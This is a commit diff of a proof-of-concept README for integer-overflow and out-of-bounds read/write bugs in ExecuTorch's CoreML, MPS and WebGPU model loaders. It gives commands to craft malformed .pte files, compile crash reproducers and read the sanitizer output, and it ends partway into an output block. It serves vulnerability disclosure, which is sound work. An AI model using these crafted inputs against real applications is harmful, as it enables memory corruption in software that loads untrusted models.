KEEBWZRD commited on
Commit
6942a2f
Β·
verified Β·
1 Parent(s): 29f35de

Update README.md

Browse files
Files changed (1) hide show
  1. README.md +33 -4
README.md CHANGED
@@ -1,6 +1,6 @@
1
- # PoC β€” ExecuTorch CoreML `inmemoryfs` integer-overflow β†’ OOB (read + write)
2
 
3
- Two minimal, self-contained C++ programs that reproduce the vulnerable **logic** of `pytorch/executorch`'s CoreML in-memory-filesystem loader **verbatim**, so the memory-safety violation is reproducible in seconds with no ExecuTorch build. Both compile with stock `clang++` and standard headers only.
4
 
5
  ## What's here
6
  | File | Demonstrates | Maps to (executorch @ main) |
@@ -13,7 +13,7 @@ Two minimal, self-contained C++ programs that reproduce the vulnerable **logic**
13
 
14
  The two structs/functions in each file are copied **verbatim** from the cited source so the crash maps 1:1 to the real code.
15
 
16
- ## Build & run (macOS/Linux, clang or gcc)
17
  ```sh
18
  # PoC 1 β€” overflow bypasses the bounds check, OOB read completes:
19
  clang++ -std=c++17 -g -o p1 poc_range_overflow_oob_read.cpp && ./p1
@@ -23,7 +23,36 @@ clang++ -std=c++17 -g -o p2 poc_oob_write.cpp && ./p2 ; echo "exit=$?" # 139 = S
23
  ```
24
  For a sanitizer-confirmed report instead of a bare segfault, add `-fsanitize=address` (on macOS run with `ASAN_OPTIONS=symbolize=0` β€” the symbolizer can hang locally).
25
 
26
- ## Observed output (see `output.txt`)
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
27
  ```
28
  [*] length()=offset+size = 0 (wrapped past SIZE_MAX)
29
  [*] guard 'length() > size()': 0 > 16 -> PASS (bypassed!)
 
1
+ # PoC β€” ExecuTorch delegate-loader OOB cluster (MPS + WebGPU runtime crashes + CoreML logic)
2
 
3
+ Two minimal, self-contained C++ programs that reproduce the vulnerable **logic** of `pytorch/executorch`'s CoreML in-memory-filesystem loader **verbatim**, so the memory-safety violation is reproducible in seconds with no ExecuTorch build. Both compile with stock `clang++` and standard headers only. **Updated 2026-07-14:** full `.pte`-triggered runtime crashes now also included for MPS and WebGPU backends.
4
 
5
  ## What's here
6
  | File | Demonstrates | Maps to (executorch @ main) |
 
13
 
14
  The two structs/functions in each file are copied **verbatim** from the cited source so the crash maps 1:1 to the real code.
15
 
16
+ ## Build & run β€” CoreML logic PoCs (macOS/Linux, clang or gcc)
17
  ```sh
18
  # PoC 1 β€” overflow bypasses the bounds check, OOB read completes:
19
  clang++ -std=c++17 -g -o p1 poc_range_overflow_oob_read.cpp && ./p1
 
23
  ```
24
  For a sanitizer-confirmed report instead of a bare segfault, add `-fsanitize=address` (on macOS run with `ASAN_OPTIONS=symbolize=0` β€” the symbolizer can hang locally).
25
 
26
+ ## Build & run β€” Runtime MPS PoC (macOS only, Xcode CLT required)
27
+ ```sh
28
+ cd runtime_mps_poc
29
+ python3 craft_malformed_mps_pte.py # generates malformed_mps.pte
30
+
31
+ clang++ -std=c++17 -fobjc-arc -g -fsanitize=undefined \
32
+ -Ischemas \
33
+ -framework Foundation -framework Metal \
34
+ -framework MetalPerformanceShaders \
35
+ -framework MetalPerformanceShadersGraph \
36
+ runtime_poc_mps.mm -o poc_mps
37
+
38
+ ./poc_mps malformed_mps.pte # exit 134 (UBSan SEGV in objc_release) or exit 137 (SIGKILL)
39
+ ```
40
+
41
+ ## Build & run β€” Runtime WebGPU PoC (macOS/Linux, clang required)
42
+ ```sh
43
+ cd runtime_webgpu_poc
44
+ python3 craft_malformed_webgpu_pte.py # generates malformed_webgpu.pte
45
+
46
+ # Requires flatbuffers headers β€” any install works, e.g. brew install flatbuffers
47
+ clang++ -std=c++17 -g -fsanitize=undefined \
48
+ -I$(brew --prefix flatbuffers)/include \
49
+ -Ischemas \
50
+ runtime_poc_webgpu.cpp -o poc_webgpu
51
+
52
+ ./poc_webgpu malformed_webgpu.pte # exit 134 (UBSan SEGV, constant_data_ + 0xffffffffffff)
53
+ ```
54
+
55
+ ## Observed output β€” CoreML PoCs (see `output.txt`)
56
  ```
57
  [*] length()=offset+size = 0 (wrapped past SIZE_MAX)
58
  [*] guard 'length() > size()': 0 > 16 -> PASS (bypassed!)